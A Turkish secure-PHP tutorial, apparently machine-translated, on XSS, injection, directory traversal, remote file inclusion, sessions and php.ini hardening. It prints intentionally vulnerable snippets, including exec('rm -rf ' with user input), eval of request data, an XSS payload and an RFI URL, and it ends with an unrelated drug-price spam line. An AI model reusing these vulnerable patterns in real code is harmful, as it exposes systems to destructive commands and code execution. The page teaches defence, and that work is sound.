Php Güvenli Kod Yazmak

Php Güvenli Kod Yazmak

Php Güvenli Kod Yazmak

Php Güvenli Kod Yazmak için neler yapalı Php güvenlik açıklarını kapatmak için gerekli kodlar PHP güvenlik fonksiyonu hakkında bilgiler...

Siteler arası komut dosyası oluşturma (XSS)

XSS saldırıları, istemci tarafı kodu (genellikle JavaScript) PHP betiğinizin çıktısına enjekte edildiğinde gerçekleşir. Bu, URL aracılığıyla olabilir, ancak veritabanı gibi depolanan bir teknik aracılığıyla da gerçekleşebilir.

// GET data is sent through URL: http://example.com/search.php?search=<script>alert('test')</script>
$search = $_GET['search'] ?? null;
echo 'Search results for '.$search;

// This can be solved with htmlspecialchars
$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
echo 'Search results for '.$search;
  • ENT_QUOTES HTML varlıklarının yanında tek ve çift tırnak işaretlerinden kaçmak için kullanılır
  • UTF-8, PHP 5.4 öncesi ortamlar için kullanılır (şimdi öntanımlıdır). Bazı tarayıcılarda bazı karakterler htmlspecialchars().

Enjeksiyonlar

SQL enjeksiyonu

Uygulamanızdan veritabanlarına erişirken, kötü amaçlı SQL parçalarını mevcut SQL deyiminize enjekte ederek SQL enjeksiyon saldırısı gerçekleşebilir.

  • Daha fazla ayrıntı " SQL yerleştirme nedir ve nasıl engellenir? " SSS.

Dizin geçişi (yol yerleştirme)

../(Nokta, nokta, eğik çizgi) saldırıları olarak da bilinen dizin geçiş saldırıları, kullanıcılar ana dizinlere geçebilen girdi olarak dosya adları sağladığında gerçekleşir. Veriler index.php?page=../secret, veya /var/www/secretveya daha yıkıcı bir şey olarak ayarlanabilir :

$page = $_GET['page'] ?? 'home';

require $page;
// or something like this
echo file_get_contents('../pages/'.$page.'.php');

Bu gibi durumlarda, ana klasöre veya bazı uzak klasöre erişme girişimleri olup olmadığını kontrol etmelisiniz:

// Checking if the string contains parent directory
if (strstr($_GET['page'], '../') !== false) {
    throw new \Exception("Directory traversal attempt!");
}

// Checking remote file inclusions
if (strstr($_GET['page'], 'file://') !== false) {
    throw new \Exception("Remote file inclusion attempt!");
}

// Using whitelists of pages that are allowed to be included in the first place
$allowed = ['home', 'blog', 'gallery', 'catalog'];
$page = (in_array($page, $allowed)) ? $page : 'home';
echo file_get_contents('../pages/'.$page.'.php');

Komut enjeksiyonu

Güvenmediğiniz işlevleri ve verileri çalıştıran komutlarla uğraşırken dikkatli olun.

exec('rm -rf '.$GET['path']);

Kod yerleştirme

eval() İşlev aracılığıyla kötü amaçlı kod enjekte edilebildiğinde kod yerleştirme gerçekleşir , bu nedenle verilerinizi kullanırken her zaman temizlemeyi unutmayın:

eval('include '.$_GET['path']);

Siteler arası istek sahteciliği (XSRF / CSRF)

Siteler arası istek sahteciliği, tek tıklama saldırıları veya oturum sürme, kullanıcıların web uygulamalarında istenmeyen eylemler gerçekleştirdiği bir istismardır.

Herkese açık dosyalar

Web uygulamanızın tüm uygulama dosyalarınızı, yapılandırma dosyalarınızı ve benzer kısımlarını web uygulamanızın URL'lerini ziyaret ettiğinizde herkesin erişemeyeceği bir klasöre taşıdığınızdan emin olun. Bazı dosya türleri (örn. .yml Dosyalar) web sunucunuz tarafından işlenmeyebilir ve kullanıcılar bunları çevrimiçi olarak görüntüleyebilir.

İyi bir klasör yapısı örneği:

app/
  config/
    parameters.yml
  src/
public/
  index.php
  style.css
  javascript.js
  logo.png

Web sunucunuzu, dosyalarınızı publicuygulama kök klasörünüz yerine klasörden sunacak şekilde yapılandırın . Ortak klasör, ön denetleyiciyi ( index.php) içerir. PHP dosyalarının düzgün bir şekilde sunulamamasına neden olan bir web sunucusunun yanlış yapılandırılması durumunda, kaynak kodu index.phpherkes tarafından görülebilir.

  • Daha fazla ayrıntı özel SSS bölümünde mevcuttur: PHP uygulamalarında yapılandırma nasıl kullanılır?

Şifreler

Kullanıcıların parolalarıyla çalışırken, bunları password_hash()işlevle uygun şekilde hashleyin .

  • Daha fazla ayrıntı, " Kullanıcı şifreleri ile nasıl çalışılır ve PHP'de şifreleri güvenli bir şekilde nasıl hash edilir? " SSS.

Dosyaları yükleme

Kullanıcılar bir sunucuya dosya yükleyebildiklerinde birçok güvenlik ihlali meydana gelir. Dosya yüklemeyle ilişkili tüm güvenlik açıklarını gözden geçirdiğinizden ve bu güvenlik açıklarına karşı, yüklenen dosyaları yeniden adlandırarak, bunları herkesin erişemeyeceği klasörlere taşıyarak, yüklenen dosya türlerini kontrol ederek vb. Uygun önlemleri aldığınızdan emin olun. Burada kontrol edilmesi gereken pek çok sorun olduğundan, daha fazla bilgi ayrı SSS bölümünde de yer almaktadır:

  • PHP ile güvenli bir şekilde dosya nasıl yüklenir? SSS.

Oturum çalma

Oturum kaçırma, bir saldırganın bir kullanıcının oturum kimliğini çaldığı bir saldırıdır. Oturum kimliği, ilişkili $_SESSION dizinin doldurulduğu sunucuya gönderilir . Oturum kaçırma, bir XSS saldırısı yoluyla veya birisi oturum verilerinin depolandığı bir sunucudaki klasöre erişim sağladığında mümkündür.

Uzaktan dosya dahil etme

Bir RFI (uzaktan dosya dahil etme) saldırısı, bir saldırganın özel komut dosyaları içerebildiği durumdur:

$page = $_GET['page'] ?? 'home'

require $page . '.php';

Yukarıdaki kodda, $_GETuzak bir dosyaya ayarlanabilirhttp://yourdomain.tld/index.php?page=http://example.com/evilscript

php.iniNe yaptığınızı bilmiyorsanız, bunu kendi sayfanızda devre dışı bıraktığınızdan emin olun :

; Disable including remote files
allow_url_fopen = off
; Disable opening remote files for include(), require() and include_once() functions.
; If above allow_url_fopen is disabled, allow_url_include is also disabled.
allow_url_include = off

PHP yapılandırması

Kurulu PHP sürümünü her zaman güncel tutun. Sen kullanabilirsiniz versionscan PHP versiyonunun olası güvenlik açıkları için kontrol etmek. Açık kaynak kitaplıklarını ve uygulamaları güncelleyin ve web sunucunuzun bakımlı olmasını sağlayın.

İşte php.inikontrol etmeniz gereken bazı önemli ayarlar . En iyi güvenlik uygulamaları için dosyalarınızı taramak için iniscan'i de kullanabilirsiniz php.ini.

Hata raporlama

Üretim ortamınızda, ekranda hataları görüntülemeyi her zaman kapatmalısınız. Uygulamanızda hatalar meydana gelirse ve bunlar dış dünya tarafından görülebilirse, bir saldırgan, uygulamanıza saldırmak için değerli veriler elde edebilir. display_errorsve dosyadaki log_errorsyönergeler php.ini:

; Disable displaying errors to screen
display_errors = off
; Enable writing errors to server logs
log_errors = on
  • Daha fazla bilgi Hatalar bölümünde .

PHP sürümünü açığa çıkarma

PHP sürümü HTML başlıklarında görülebilir. Yönergeyi kapatarak expose_php, web sunucusunun X-Powered-Bybaşlığı geri göndermesini önleyerek PHP sürümünüzü gizlemeyi düşünebilirsiniz :

expose_php = off

Uzak dosyalar

Çoğu durumda, uzak dosyalara erişimi devre dışı bırakmak önemlidir:

; disabled opening remote files for fopen, fsockopen, file_get_contents and similar functions
allow_url_fopen =  0
; disabled including remote files for require, include ans similar functions
allow_url_include = 0

open_basedir

Bu ayarlar, PHP'nin dosyaları okuma ve yazma erişimine sahip olduğu bir veya daha fazla dizini (alt dizinler dahil) tanımlar. Bu, dosya işlemeyi ( fopenfile_get_contents) ve ayrıca dosyaları ( includerequire) içerir:

open_basedir = "/var/www/test/uploads"

Oturum ayarları

  • session.use_cookies ve session.use_only_cookies

    PHP, varsayılan olarak sunucuda oturum verilerini ve istemci tarafında (genellikle denir PHPSESSID) oturum için benzersiz kimliğe sahip bir izleme tanımlama bilgisini depolamak üzere yapılandırılmıştır .

; in most cases you'll want to enable cookies for storing session
session.use_cookies = 1
; disabled changing session id through PHPSESSID parameter (e.g foo.php?PHPSESSID=<session id>)
session.use_only_cookies = 1
session.use_trans_sid = 0
; rejects any session ID from user that doesn't match current one and creates new one
session.use_strict_mode = 1
  • session.cookie_httponly

    Saldırgan, bir kullanıcının mevcut çerezlerini ( document.cookiedizeyi) çalmak için JavaScript kodunu enjekte etmeyi bir şekilde başarırsa , HttpOnly ayarladığınız çerez listede görünmez.

session.cookie_httponly = 1
  • session.cookie_domain

    Bu, çerezlerin geçerli olduğu alanı belirler. Joker karakter etki alanları için kullanabilir .example.comveya bunu uygulanması gereken etki alanına ayarlayabilirsiniz. Varsayılan olarak etkinleştirilmemiştir, bu nedenle etkinleştirmeniz şiddetle tavsiye edilir:

session.cookie_domain = example.com
  • session.cookie_secure

    HTTPS siteleri için bu, yalnızca HTTPS üzerinden gönderilen çerezleri kabul eder. Hala HTTPS kullanmıyorsanız, bunu düşünmelisiniz.

session.cookie_secure = 1

HTTPS kullan

HTTPS, ağlar üzerinden güvenli iletişim için bir protokoldür. Tüm sitelerde etkinleştirmeniz şiddetle tavsiye edilir. Özel SSS: SSL sertifikası nasıl kurulur ve HTTPS nasıl etkinleştirilir bölümünde HTTPS hakkında daha fazla bilgi edinin .

viagra fiyatları cialis fiyatları